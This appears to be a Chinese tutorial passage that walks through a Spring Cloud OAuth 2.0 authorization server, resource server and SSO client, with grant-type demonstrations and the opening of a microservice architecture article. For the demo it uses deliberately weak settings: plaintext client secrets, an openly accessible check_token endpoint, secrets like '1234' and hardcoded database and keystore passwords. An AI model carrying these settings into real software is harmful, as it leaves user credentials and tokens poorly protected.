            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
    </dependencies>
</project>

这里,我们使用了Spring Cloud的spring-cloud-starter-oauth2组件,而不是直接使用的Spring Security,因为前者做了一些自动化配置的工作,使用起来会更方便。

此外,我们还在POM中加入了数据访问、Web等依赖,因为我们的受保护资源服务器需要使用数据库来保存客户端的信息、用户信息等数据,同时也会引入thymeleaf模板引擎依赖,来稍稍美化一下登录页面。

然后创建一个配置文件application.yml实现程序配置:

server:
  port: 8080

spring:
  application:
    name: oauth2-server
  datasource:
    url: jdbc:mysql://localhost:6657/oauth?useSSL=false
    username: root
    password: kIo9u7Oi0eg
    driver-class-name: com.mysql.jdbc.Driver

可以看到,我们配置了oauth数据库的连接字符串,定义了授权服务器的监听端口是8080。

最后,使用keytool工具生成密钥对,把密钥文件jks保存到资源目录下,并要导出一个公钥留作以后使用。

以上完成了项目框架搭建工作,接下来,我们正式开始编码。

第一步,创建一个最核心的类用于配置授权服务器。我把每段代码的作用放在了注释里,你可以直接看下。

@Configuration
@EnableAuthorizationServer //开启授权服务器
public class OAuth2ServerConfiguration extends AuthorizationServerConfigurerAdapter {
    @Autowired
    private DataSource dataSource;
    @Autowired
    private AuthenticationManager authenticationManager;

    /**
     * 我们配置了使用数据库来维护客户端信息。虽然在各种Demo中我们经常看到的是在内存中维护客户端信息,通过配置直接写死在这里。
     * 但是,对于实际的应用我们一般都会用数据库来维护这个信息,甚至还会建立一套工作流来允许客户端自己申请ClientID,实现OAuth客户端接入的审批。
     * @param clients
     * @throws Exception
     */
    @Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
        clients.jdbc(dataSource);
    }

    /**
     * 这里干了两件事儿。首先,打开了验证Token的访问权限(以便之后我们演示)。
     * 然后,允许ClientSecret明文方式保存,并且可以通过表单提交(而不仅仅是Basic Auth方式提交),之后会演示到这个。
     * @param security
     * @throws Exception
     */
    @Override
    public void configure(AuthorizationServerSecurityConfigurer security) throws Exception {
        security.checkTokenAccess("permitAll()")
                .allowFormAuthenticationForClients().passwordEncoder(NoOpPasswordEncoder.getInstance());
    }

    /**
     * 干了以下4件事儿:
     * 1. 配置我们的令牌存放方式为JWT方式,而不是内存、数据库或Redis方式。
     * JWT是Json Web Token的缩写,也就是使用JSON数据格式包装的令牌,由.号把整个JWT分隔为头、数据体、签名三部分。
     * JWT保存Token虽然易于使用但是不是那么安全,一般用于内部,且需要走HTTPS并配置比较短的失效时间。
     * 2. 配置JWT Token的非对称加密来进行签名
     * 3. 配置一个自定义的Token增强器,把更多信息放入Token中
     * 4. 配置使用JDBC数据库方式来保存用户的授权批准记录
     * @param endpoints
     * @throws Exception
     */
    @Override
    public void configure(AuthorizationServerEndpointsConfigurer endpoints) {
        TokenEnhancerChain tokenEnhancerChain = new TokenEnhancerChain();
        tokenEnhancerChain.setTokenEnhancers(
                Arrays.asList(tokenEnhancer(), jwtTokenEnhancer()));

        endpoints.approvalStore(approvalStore())
                .authorizationCodeServices(authorizationCodeServices())
                .tokenStore(tokenStore())
                .tokenEnhancer(tokenEnhancerChain)
                .authenticationManager(authenticationManager);
    }

    /**
     * 使用JDBC数据库方式来保存授权码
     * @return
     */
    @Bean
    public AuthorizationCodeServices authorizationCodeServices() {
        return new JdbcAuthorizationCodeServices(dataSource);
    }

    /**
     * 使用JWT存储
     * @return
     */
    @Bean
    public TokenStore tokenStore() {
        return new JwtTokenStore(jwtTokenEnhancer());
    }

    /**
     * 使用JDBC数据库方式来保存用户的授权批准记录
     * @return
     */
    @Bean
    public JdbcApprovalStore approvalStore() {
        return new JdbcApprovalStore(dataSource);
    }

    /**
     * 自定义的Token增强器,把更多信息放入Token中
     * @return
     */
    @Bean
    public TokenEnhancer tokenEnhancer() {
        return new CustomTokenEnhancer();
    }

    /**
     * 配置JWT使用非对称加密方式来验证
     * @return
     */
    @Bean
    protected JwtAccessTokenConverter jwtTokenEnhancer() {
        KeyStoreKeyFactory keyStoreKeyFactory = new KeyStoreKeyFactory(new ClassPathResource("jwt.jks"), "mySecretKey".toCharArray());
        JwtAccessTokenConverter converter = new JwtAccessTokenConverter();
        converter.setKeyPair(keyStoreKeyFactory.getKeyPair("jwt"));
        return converter;
    }

    /**
     * 配置登录页面的视图信息(其实可以独立一个配置类,这样会更规范)
     */
    @Configuration
    static class MvcConfig implements WebMvcConfigurer {
        @Override
        public void addViewControllers(ViewControllerRegistry registry) {
            registry.addViewController("login").setViewName("login");
        }
    }
}

第二步,还记得吗,刚才在第一步的代码中我们还用到了一个自定义的Token增强器,把用户信息嵌入到JWT Token中去(如果使用的是客户端凭据许可类型,这段代码无效,因为和用户没关系)。

这是一个常见需求。因为,默认情况下Token中只会有用户名这样的基本信息,我们往往需要把关于用户的更多信息返回给客户端(在实际应用中,你可能会从数据库或外部服务查询更多的用户信息加入到JWT Token中去)。这个时候,我们就可以自定义增强器来丰富Token的内容:

public class CustomTokenEnhancer implements TokenEnhancer {

    @Override
    public OAuth2AccessToken enhance(OAuth2AccessToken accessToken, OAuth2Authentication authentication) {
        Authentication userAuthentication = authentication.getUserAuthentication();
        if (userAuthentication != null) {
            Object principal = authentication.getUserAuthentication().getPrincipal();
            //把用户标识嵌入JWT Token中去(Key是userDetails)
            Map<String, Object> additionalInfo = new HashMap<>();
            additionalInfo.put("userDetails", principal);
            ((DefaultOAuth2AccessToken) accessToken).setAdditionalInformation(additionalInfo);
        }
        return accessToken;
    }
}

第三步,实现安全方面的配置。你可以直接看下代码注释,来了解关键代码的作用。

@Configuration
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Autowired
    private DataSource dataSource;

    @Override
    @Bean
    public AuthenticationManager authenticationManagerBean() throws Exception {
        return super.authenticationManagerBean();
    }

    /**
     * 配置用户账户的认证方式。显然,我们把用户存在了数据库中希望配置JDBC的方式。
     * 此外,我们还配置了使用BCryptPasswordEncoder哈希来保存用户的密码(生产环境中,用户密码肯定不能是明文保存的)
     * @param auth
     * @throws Exception
     */
    @Override
    protected void configure(AuthenticationManagerBuilder auth) throws Exception {
        auth.jdbcAuthentication()
                .dataSource(dataSource)
                .passwordEncoder(new BCryptPasswordEncoder());
    }

    /**
     * 开放/login和/oauth/authorize两个路径的匿名访问。前者用于登录,后者用于换授权码,这两个端点访问的时机都在登录之前。
     * 设置/login使用表单验证进行登录。
     * @param http
     * @throws Exception
     */
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
                .antMatchers("/login", "/oauth/authorize")
                .permitAll()
                .anyRequest().authenticated()
                .and()
                .formLogin().loginPage("/login");
    }
}

第四步,在资源目录下创建一个templates文件夹,然后创建一个login.html登录页:

<body class="uk-height-1-1">

<div class="uk-vertical-align uk-text-center uk-height-1-1">
    <div class="uk-vertical-align-middle" style="width: 250px;">
        <h1>Login Form</h1>

        <p class="uk-text-danger" th:if="${param.error}">
            用户名或密码错误...
        </p>

        <form class="uk-panel uk-panel-box uk-form" method="post" th:action="@{/login}">
            <div class="uk-form-row">
                <input class="uk-width-1-1 uk-form-large" type="text" placeholder="Username" name="username"
                       value="reader"/>
            </div>
            <div class="uk-form-row">
                <input class="uk-width-1-1 uk-form-large" type="password" placeholder="Password" name="password"
                       value="reader"/>
            </div>
            <div class="uk-form-row">
                <button class="uk-width-1-1 uk-button uk-button-primary uk-button-large">Login</button>
            </div>
        </form>

    </div>
</div>
</body>

至此,授权服务器的编码工作就完成了。

搭建受保护资源服务器

接下来,我们搭建一个用户服务模拟资源提供者(受保护资源服务器)。我们先看看项目初始化工作。

这次创建的POM没有什么特殊,依赖了spring-cloud-starter-oauth2:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <parent>
        <artifactId>springsecurity101</artifactId>
        <groupId>me.josephzhu</groupId>
        <version>1.0-SNAPSHOT</version>
    </parent>
    <modelVersion>4.0.0</modelVersion>

    <artifactId>springsecurity101-cloud-oauth2-userservice</artifactId>

    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-oauth2</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
</project>

配置文件非常简单,只是声明了资源服务端口为8081:

server:
  port: 8081

同时,还要记得把我们之前在项目准备工作时生成的密钥对的公钥命名为public.cert,并放到资源文件下。这样,资源服务器可以本地校验JWT的合法性。内容大概是这样的:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwR84LFHwnK5GXErnwkmD
mPOJl4CSTtYXCqmCtlbF+5qVOosu0YsM2DsrC9O2gun6wVFKkWYiMoBSjsNMSI3Z
w5JYgh+ldHvA+MIex2QXfOZx920M1fPUiuUPgmnTFS+Z3lmK3/T6jJnmciUPY1pe
h4MXL6YzeI0q4W9xNBBeKT6FDGpduc0FC3OlXHfLbVOThKmAUpAWFDwf9/uUA//l
3PLchmV6VwTcUaaHp5W8Af/GU4lPGZbTAqOxzB9ukisPFuO1DikacPhrOQgdxtqk
LciRTa884uQnkFwSguOEUYf3ni8GNRJauIuW0rVXhMOs78pKvCKmo53M0tqeC6ul
+QIDAQAB
-----END PUBLIC KEY-----

好了,让我们正式开始编码吧。

第一步,创建一个可以匿名访问的接口GET /hello,用来测试无需登录就可以访问的服务端资源:

@RestController
public class HelloController {
    @GetMapping("hello")
    public String hello() {
        return "Hello";
    }
}

第二步,创建三个需要登录+授权才能访问到的接口。我们通过@PreAuthorize在方法执行前进行权限控制:

  • GET /user/name接口,读权限或写权限可访问,返回登录用户名;
  • GET /user接口,读权限或写权限可访问,返回登录用户信息;
  • POST /user接口,只有写权限可以访问,返回访问令牌中的额外信息(也就是自定义的Token增强器CustomTokenEnhancer加入到访问令牌中的额外信息,Key是userDetails),这里也演示了使用TokenStore来解析Token的方式。
@RestController
@RequestMapping("user")
public class UserController {

    @Autowired
    private TokenStore tokenStore;

    /***
     * 读权限或写权限可访问,返回登录用户名
     * @param authentication
     * @return
     */
    @PreAuthorize("hasAuthority('READ') or hasAuthority('WRITE')")
    @GetMapping("name")
    public String name(OAuth2Authentication authentication) {
        return authentication.getName();
    }

    /**
     * 读权限或写权限可访问,返回登录用户信息
     * @param authentication
     * @return
     */
    @PreAuthorize("hasAuthority('READ') or hasAuthority('WRITE')")
    @GetMapping
    public OAuth2Authentication read(OAuth2Authentication authentication) {
        return authentication;
    }

    /**
     * 只有写权限可以访问,返回访问令牌中的额外信息
     * @param authentication
     * @return
     */
    @PreAuthorize("hasAuthority('WRITE')")
    @PostMapping
    public Object write(OAuth2Authentication authentication) {
        OAuth2AuthenticationDetails details = (OAuth2AuthenticationDetails) authentication.getDetails();
        OAuth2AccessToken accessToken = tokenStore.readAccessToken(details.getTokenValue());
        return accessToken.getAdditionalInformation().getOrDefault("userDetails", null);
    }
}

第三步,创建核心的资源服务器配置类。这里我们需要注意下面两点:

  • 我们硬编码了资源服务器的ID为userservice;
  • 现在我们使用的是不落数据库的JWT方式+非对称加密,需要通过本地公钥进行验证,因此在这里我们配置了公钥的路径。
@Configuration
@EnableResourceServer //启用资源服务器
@EnableGlobalMethodSecurity(prePostEnabled = true) //启用方法注解方式来进行权限控制
public class ResourceServerConfiguration extends ResourceServerConfigurerAdapter {

    /**
     * 声明了资源服务器的ID是userservice,声明了资源服务器的TokenStore是JWT
     * @param resources
     * @throws Exception
     */
    @Override
    public void configure(ResourceServerSecurityConfigurer resources) throws Exception {
        resources.resourceId("userservice").tokenStore(tokenStore());
    }

    /**
     * 配置TokenStore
     * @return
     */
    @Bean
    public TokenStore tokenStore() {
        return new JwtTokenStore(jwtAccessTokenConverter());
    }

    /**
     * 配置公钥
     * @return
     */
    @Bean
    protected JwtAccessTokenConverter jwtAccessTokenConverter() {
        JwtAccessTokenConverter converter = new JwtAccessTokenConverter();
        Resource resource = new ClassPathResource("public.cert");
        String publicKey = null;
        try {
            publicKey = new String(FileCopyUtils.copyToByteArray(resource.getInputStream()));
        } catch (IOException e) {
            e.printStackTrace();
        }
        converter.setVerifierKey(publicKey);
        return converter;
    }

    /**
     * 配置了除了/user路径之外的请求可以匿名访问
     * @param http
     * @throws Exception
     */
    @Override
    public void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
                .antMatchers("/user/**").authenticated()
                .anyRequest().permitAll();
    }
}

到这里,我们来想一下,如果授权服务器产生Token的话,受保护资源服务器必须要有一种办法来验证Token,那如果这里的Token不是JWT的方式,我们可以怎么办呢?

我来说下我的方法吧:

  • 首先,Token可以保存在数据库或Redis中,资源服务器和授权服务器共享底层的TokenStore来验证;
  • 然后,资源服务器可以使用RemoteTokenServices,来从授权服务器的/oauth/check_token端点进行Token校验。

到这里,资源服务器就配置完成了,我们还在资源服务器中分别创建了两个控制器HelloController和UserController,用于分别测试可以匿名访问以及受到权限保护的资源。

初始化数据配置

在实现了授权服务器和受保护资源服务器代码后,我们再来初始化oauth数据库的数据就非常容易理解了。总结起来,我们需要配置用户、权限和客户端三部分。

  1. 配置两个用户。其中,读用户reader具有读权限,密码为reader;写用户writer具有读写权限,密码为writer。还记得吗,密码我们使用的是BCryptPasswordEncoder加密(准确说是哈希)?
INSERT INTO `users` VALUES ('reader', '$2a$04$C6pPJvC1v6.enW6ZZxX.luTdpSI/1gcgTVN7LhvQV6l/AfmzNU/3i', 1);
INSERT INTO `users` VALUES ('writer', '$2a$04$M9t2oVs3/VIreBMocOujqOaB/oziWL0SnlWdt8hV4YnlhQrORA0fS', 1);

  1. 配置两个权限,也就是配置reader用户具有读权限,writer用户具有写权限:
INSERT INTO `authorities` VALUES ('reader', 'READ');
INSERT INTO `authorities` VALUES ('writer', 'READ,WRITE');

  1. 配置三个客户端,其中客户端userservice1使用资源拥有者凭据许可类型,客户端userservice2使用客户端凭据许可类型,客户端userservice3使用授权码许可类型。
INSERT INTO `oauth_client_details` VALUES ('userservice1', 'userservice', '1234', 'FOO', 'password,refresh_token', '', 'READ,WRITE', 7200, NULL, NULL, 'true');
INSERT INTO `oauth_client_details` VALUES ('userservice2', 'userservice', '1234', 'FOO', 'client_credentials,refresh_token', '', 'READ,WRITE', 7200, NULL, NULL, 'true');
INSERT INTO `oauth_client_details` VALUES ('userservice3', 'userservice', '1234', 'FOO', 'authorization_code,refresh_token', 'https://baidu.com,http://localhost:8082/ui/login,http://localhost:8083/ui/login,http://localhost:8082/ui/remoteCall', 'READ,WRITE', 7200, NULL, NULL, 'false');

值得说明的是:

  • 三个客户端账号能使用的资源ID都是userservice,对应我们受保护资源服务器刚才配置的资源ID,也就是userservice,这两者需要一致。
  • 三个客户端账号的密码都是1234。
  • 三个客户端账号的授权范围都是FOO(并不是关键信息),它们可以拿到的权限是读写。不过,对于和用户相关的授权许可类型(比如资源拥有者凭据许可、授权码许可),最终拿到的权限还取决于客户端权限和用户权限的交集。
  • 通过grant_types字段配置支持不同的授权许可类型。这里为了便于测试观察,我们给三个客户端账号各自配置了一种授权许可类型;在实际业务场景中,你完全可以为同一个客户端配置支持OAuth 2.0的四种授权许可类型。
  • userservice1和userservice2我们配置了用户自动批准授权(不会弹出一个页面要求用户进行授权)。

演示三种授权许可类型

到这里,授权服务器和受保护资源服务器程序都搭建完成了,数据库也配置了用于测试的用户、权限和客户端。接下来,我们就使用Postman来手工测试一下OAuth 2.0的授权码许可、资源拥有者凭据许可、客户端凭据许可这三种授权许可类型吧。

资源拥有者凭据许可类型

首先,我们测试的是资源拥有者凭据许可,POST请求地址是:

http://localhost:8080/oauth/token?grant_type=password&client_id=userservice1&client_secret=1234&username=writer&password=writer

得到如下图所示结果:

再使用 JWT解析工具 看下请求Token中的信息:

可以看到,Token中果然包含了Token增强器加入的userDetails自定义信息。如果我们把公钥粘贴到页面的话,可以看到这个JWT校验成功了:

除了本地校验外,还可以访问授权服务器来校验JWT:

http://localhost:8080/oauth/check_token?client_id=userservice1&client_secret=1234&token=...

得到如下结果:

客户端授权许可类型

我们再来测试下客户端授权许可类型。POST请求地址:

http://localhost:8080/oauth/token?grant_type=client_credentials&client_id=userservice2&client_secret=1234

如下图所示,可以直接拿到Token:

这里需要注意的是,并没有提供刷新令牌。这是因为,刷新令牌用于避免访问令牌失效后需要用户再次登录的问题,而客户端授权许可类型没有用户的概念,因此没有刷新令牌,也无法注入额外的userDetails信息。

也可以试一下,如果我们的授权服务器没有开启allowFormAuthenticationForClients参数(允许表单提交认证)的话,客户端的凭证需要通过Basic Auth传过去而不是通过Post:

授权码许可类型

最后,我们来测试下比较复杂的授权码许可。

第一步,打开浏览器访问地址:

http://localhost:8080/oauth/authorize?response_type=code&client_id=userservice3&redirect_uri=https://baidu.com

注意,客户端跳转地址需要和数据库中配置的一致(百度的URL https://baidu.com

我们之前已经在数据库中有配置了)。访问后页面会直接跳转到登录界面,我们使用用户名“reader”、密码“reader”来登录:

由于我们在数据库中设置的是禁用自动批准授权的模式,所以登录后来到了批准界面:

点击同意后可以看到,数据库中也会产生授权通过记录:

第二步, 我们可以看到浏览器转到了百度并且提供给了我们授权码:

https://www.baidu.com/?code=XKkHGY

数据库中也记录了授权码:

然后POST访问下面的地址(code参数替换为刚才获得的授权码):

http://localhost:8080/oauth/token?grant_type=authorization_code&client_id=userservice3&client_secret=1234&code=XKkHGY&redirect_uri=https://baidu.com

可以通过授权码换取访问令牌:

虽然userservice3客户端可以有读权限和写权限,但是因为我们登录的用户reader只有读权限,所以最后拿到也只有读权限。

演示权限控制

现在我们来测试一下之前定义的两个账号,也就是读账号和写账号,看看它们的权限控制是否有效。

首先,测试一下我们的安全配置,访问/hello端点不需要认证可以匿名访问:

访问/user需要身份认证:

不管以哪种模式拿到访问令牌,我们用具有读权限的访问令牌访问资源服务器的如下地址

(请求头加入Authorization: Bearer XXXXXXXXXX,其中XXXXXXXXXX代表访问令牌):

http://localhost:8081/user/

可以得到如下结果:

以POST方式访问http://localhost:8081/user/,显然是失败的:

因为这个接口要求有写权限:

@PreAuthorize("hasAuthority('WRITE')")
@PostMapping
public Object write(OAuth2Authentication authentication) {

我们换一个具有读写权限的访问令牌来试试:

可以发现,果然访问成功了。这里输出的内容是Token中的userDetails额外信息,说明资源服务器的权限控制有效。

搭建客户端程序

在上面的演示中,我们使用的是Postman,也就是手动HTTP请求的方式来申请和使用Token。最后,我们来搭建一个OAuth客户端程序自动实现这个过程。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

    <parent>
        <artifactId>springsecurity101</artifactId>
        <groupId>me.josephzhu</groupId>
        <version>1.0-SNAPSHOT</version>
    </parent>

    <artifactId>springsecurity101-cloud-oauth2-client</artifactId>
    <modelVersion>4.0.0</modelVersion>

    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-oauth2</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

    </dependencies>
</project>

配置文件如下:

server:
  port: 8083
  servlet:
    context-path: /ui
security:
  oauth2:
    client:
      clientId: userservice3
      clientSecret: 1234
      accessTokenUri: http://localhost:8080/oauth/token
      userAuthorizationUri: http://localhost:8080/oauth/authorize
      scope: FOO
    resource:
      jwt:
        key-value: |
          -----BEGIN PUBLIC KEY-----
          ***
          -----END PUBLIC KEY-----
spring:
  thymeleaf:
    cache: false

#logging:
#  level:
#    ROOT: DEBUG

客户端项目端口8082,几个需要说明的地方:

  • 本地测试的时候有一个坑,也就是我们需要配置context-path,否则可能会出现客户端和授权服务器服务端Cookie干扰,导致CSRF防御触发的问题。这个问题出现后程序没有任何错误日志输出,只有开启DEBUG模式后才能看到DEBUG日志里有提示,因此这个问题非常难以排查。说实话,我也不知道Spring为什么不把这个信息作为WARN级别的日志输出。
  • 作为OAuth客户端,我们需要配置OAuth服务端获取Token的地址、授权(获取授权码)的地址,需要配置客户端的ID、密码和授权范围。
  • 因为使用的是JWT Token,我们需要配置公钥(当然,如果不在这里直接配置公钥的话,也可以配置从授权服务器服务端获取公钥)。

接下来,我们可以开始编码了。

第一步,实现MVC的配置:

@Configuration
@EnableWebMvc
public class WebMvcConfig implements WebMvcConfigurer {

    /**
     * 配置RequestContextListener用于启用session scope的Bean
     * @return
     */
    @Bean
    public RequestContextListener requestContextListener() {
        return new RequestContextListener();
    }

    /**
     * 配置index路径的首页Controller
     * @param registry
     */
    @Override
    public void addViewControllers(ViewControllerRegistry registry) {
        registry.addViewController("/")
                .setViewName("forward:/index");
        registry.addViewController("/index");
    }
}

这里做了两件事情:

  1. 配置RequestContextListener,用于启用session scope的Bean;
  2. 配置了index路径的首页Controller。

第二步,实现安全方面的配置:

@Configuration
@Order(200)
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    /**
     * /路径和/login路径允许访问,其它路径需要身份认证后才能访问
     * @param http
     * @throws Exception
     */
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
                .authorizeRequests()
                .antMatchers("/", "/login**")
                .permitAll()
                .anyRequest()
                .authenticated();
    }
}

这里我们实现的是/路径和/login路径允许访问,其它路径需要身份认证后才能访问。

第三步,我们来创建一个控制器:

@RestController
public class DemoController {
    @Autowired
    OAuth2RestTemplate restTemplate;
    //演示登录后才能访问的安全页面
    @GetMapping("/securedPage")
    public ModelAndView securedPage(OAuth2Authentication authentication) {
        return new ModelAndView("securedPage").addObject("authentication", authentication);
    }
    //演示通过OAuth2RestTemplate调用受保护资源
    @GetMapping("/remoteCall")
    public String remoteCall() {
        ResponseEntity<String> responseEntity = restTemplate.getForEntity("http://localhost:8081/user/name", String.class);
        return responseEntity.getBody();
    }
}

这里我们实现了两个功能:

  1. securedPage页面,实现的功能是,把用户信息作为模型传入了视图,这样打开页面后就能显示用户名和权限。
  2. remoteCall接口,实现的功能是,通过引入OAuth2RestTemplate,在登录后就可以使用凭据直接从受保护资源服务器拿资源,不需要繁琐地实现获得访问令牌、在请求头里加入访问令牌的过程。

第四步,配置一下刚才用到的OAuth2RestTemplate Bean,并启用OAuth2Sso功能:

@Configuration
@EnableOAuth2Sso //这个注解包含了@EnableOAuth2Client
public class OAuthClientConfig {
    /**
     * 定义了OAuth2RestTemplate,网上一些比较老的资料给出的是手动读取配置文件来实现,最新版本已经可以自动注入OAuth2ProtectedResourceDetails
     * @param oAuth2ClientContext
     * @param details
     * @return
     */
    @Bean
    public OAuth2RestTemplate oauth2RestTemplate(OAuth2ClientContext oAuth2ClientContext,
                                                 OAuth2ProtectedResourceDetails details) {
        return new OAuth2RestTemplate(details, oAuth2ClientContext);
    }
}

第五步,实现首页:

<body>
<div class="container">
    <div class="col-sm-12">
        <h1>Spring Security SSO Client</h1>
        <a class="btn btn-primary" href="securedPage">Login</a>
    </div>
</div>
</body>

以及登录后才能访问的securedPage页面:

<body>
<div class="container">
    <div class="col-sm-12">
        <h1>Secured Page</h1>
        Welcome, <span th:text="${authentication.name}">Name</span>
        <br/>
        Your authorities are <span th:text="${authentication.authorities}">authorities</span>
    </div>
</div>
</body>

演示单点登录

好,客户端程序搭建好之后,我们先来测试一下单点登录的功能。启动客户端项目,打开浏览器访问:

http://localhost:8082/ui/securedPage

可以看到,页面自动转到了授权服务器(8080端口)的登录页面:

登录后显示了当前用户名和权限:

我们再启动另一个客户端网站,端口改为8083,然后访问同样的地址:

可以看到直接是登录状态,单点登录测试成功。是不是很方便?其实,为了达成单点登录的效果,程序在背后自动实现了多次302重定向,整个流程为:

http://localhost:8083/ui/securedPage ->
http://localhost:8083/ui/login ->
http://localhost:8080/oauth/authorize?client_id=userservice3&redirect_uri=http://localhost:8083/ui/login&response_type=code&scope=FOO&state=Sobjqe ->
http://localhost:8083/ui/login?code=CDdvHa&state=Sobjqe ->
http://localhost:8083/ui/securedPage

演示客户端请求资源服务器资源

还记得吗,在上一节“搭建客户端程序”中,我们还定义了一个remoteCall接口,直接使用OAuth2RestTemplate来访问远程资源服务器的资源。现在,我们来测试一下这个接口是否可以实现自动的OAuth流程。访问:

http://localhost:8082/ui/remoteCall

会先转到授权服务器登录,登录后自动跳转回来:

可以看到输出了用户名,对应的资源服务器服务端接口是:

@PreAuthorize("hasAuthority('READ') or hasAuthority('WRITE')")
@GetMapping("name")
public String name(OAuth2Authentication authentication) {
    return authentication.getName();
}

换一个writer用户登录试试,也能得到正确的输出:

总结

今天这一讲,我们完整演示了如何使用Spring Cloud的OAuth 2.0组件基于三个程序角色(授权服务器、受保护资源服务器和客户端)实现三种OAuth 2.0的授权许可类型(资源拥有者凭据许可、客户端凭据许可和授权码许可)。

我们先演示了三种授权许可类型的手动流程,然后也演示了如何实现权限控制和单点登录,以及如何使用客户端程序来实现自动的OAuth 2.0流程。

我把今天用到的所有代码都放到了GitHub上,你可以点击 这个链接 查看。

最后,我再提一下,将来Spring对于OAuth 2.0的支持可能会转移到 由社区推进的Spring Authorization Server项目上来继续运作。如果你感兴趣的话,可以及时关注这个项目的进展。

| 架构案例:基于OAuth 2.0/JWT的微服务参考架构

你好,我是王新栋。

在前面几讲,我们一起学习了OAuth 2.0 在开放环境中的使用过程。那么OAuth 2.0 不仅仅可以用在开放的场景中,它可以应用到我们任何需要授权/鉴权的地方,包括微服务。

因此今天,我特别邀请了我的朋友杨波,来和你分享一个基于OAuth 2.0/JWT的微服务参考架构。杨波,曾先后担任过携程框架部的研发总监和拍拍贷基础架构部的研发总监,在微服务和OAuth 2.0有非常丰富的实践经验。

其中,在携程工作期间,他负责过携程的API网关产品的研发工作,包括它和携程的令牌服务的集成;在拍拍贷工作期间,他负责过拍拍贷的令牌服务的研发和运维工作。这两家公司的令牌服务和OAuth 2.0类似,但要更简单些。

接下来,我们就开始学习杨波老师给我们带来的内容吧。

你好,我是杨波。

从单体到微服务架构的演进,是当前企业数字化转型的一大趋势。 OAuth 2.0 是当前业界标准的授权协议,它的核心是若干个针对不同场景的令牌颁发和管理流程;而 JWT 是一种轻量级、自包含的令牌,可用于在微服务间安全地传递用户信息。

据我目前了解到的情况,虽然有不少企业已经部分或全部转型到微服务架构,但是在授权认证机制方面,它们一般都是定制自研的,比方说携程和拍拍贷的令牌服务。之所以定制自研,主要原因在于标准的OAuth 2.0协议相对比较复杂,门槛也比较高。定制自研固然可以暂时解决企业的问题,但是不具备通用性,也可能有很多潜在的安全风险。

那么,到底应该如何将行业标准的OAuth 2.0/JWT和微服务集成起来呢,又有没有可落地的参考架构呢?

针对这个问题,今天我就和你分享一种可落地的参考架构。不过,我要提前说明的是,这个架构的思想源于 MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT – PART 1 – OVERVIEW 这篇文章。根据原作者Thijs的描述,他提出的架构已经在企业落地架构了。如果你还想获得关于原架构的更多细节,建议进一步参考“ What is PKCE?”这篇文章。

我认为,Thijs给出的架构确实具有可落地性和参考价值,但是他的架构里面对某些微服务层次的命名,例如BFF和Facade层,和目前主流的微服务架构不符,还有他的架构应该是手绘,不够清晰,也不容易理解。为此,我专门用今天这一讲,来改进Thijs给出的架构,并补充针对不同场景的流程。

为了方便理解,在接下来的讲述中,我会假定有这样一家叫ACME的新零售公司,它已经实现了数字化转型,微服务电商平台是支持业务运作的核心基础设施。

在业务架构方面,ACME有近千家线下门店,这些门店通过POS系统和电商平台对接。公司还有一些物流发货中心,拣选(Order Picking)系统也要和电商平台对接。另外,公司还有很多送货司机,通过App和电商平台对接。当然,ACME还有一些电商网站,做线上营销和销售,这些网站是电商平台的主要流量源。

虽然支持ACME公司业务运作的技术平台很复杂,但是它的核心可以用一个简化的微服务架构图来描述:

可以看出,这个微服务架构是运行在Kubernetes集群中的。当然了,这个架构实际上并不一定需要Kubernetes环境,用传统数据中心也可以。另外,它的整体认证授权架构是基于OAuth 2.0/JWT实现的。

接下来,我按这个微服务架构的分层方式,依次和你分析下它的每一层,以及应用认证/授权和服务调用的相关流程。这样,你不仅可以理解一个典型的微服务架构该如何分层,还可以弄清楚OAuth 2.0/JWT该如何与微服务进行集成。

微服务分层架构

ACME公司的微服务架构,大致可以分为Nginx反向代理层、Web应用层、Gateway网关层、BEF层和领域服务层,还包括一个IDP服务。总体上讲,这是一种目前主流的微服务架构分层方式,每一层职责单一、清晰。

接下来,我们具体看看每一层的主要功能。

Nginx反向代理层

首先,Nginx集群是整个平台的流量入口。Nginx是7层HTTP反向代理,主要功能是实现反向路由,也就是将外部流量根据HOST主机头或者PATH,路由到不同的后端,比方说路由到Web应用,或者直接到网关Gateway。

在Kubernetes体系中,Nginx是和Ingress Controller(入口控制器)配合工作的(总称为Nginx Ingress),Ingress Controller支持通过Ingress Rules,配置Nginx的路由规则。

Web应用层

这一层主要是一些Web应用,html/css/js等资源就住在这一层。

Web服务层通常采用传统的Web MVC + 模版引擎方式处理,可以实现服务器端渲染,也可以采用单页SPA方式。这一层主要由公司的前端团队负责,通常会使用Node.js技术栈来实现,也可以采用Spring MVC技术栈实现。具体怎么实现,要看公司的前端团队更擅长哪种技术。当这一层需要后台数据时,可以通过网关调用后台服务获取数据。

Gateway网关层

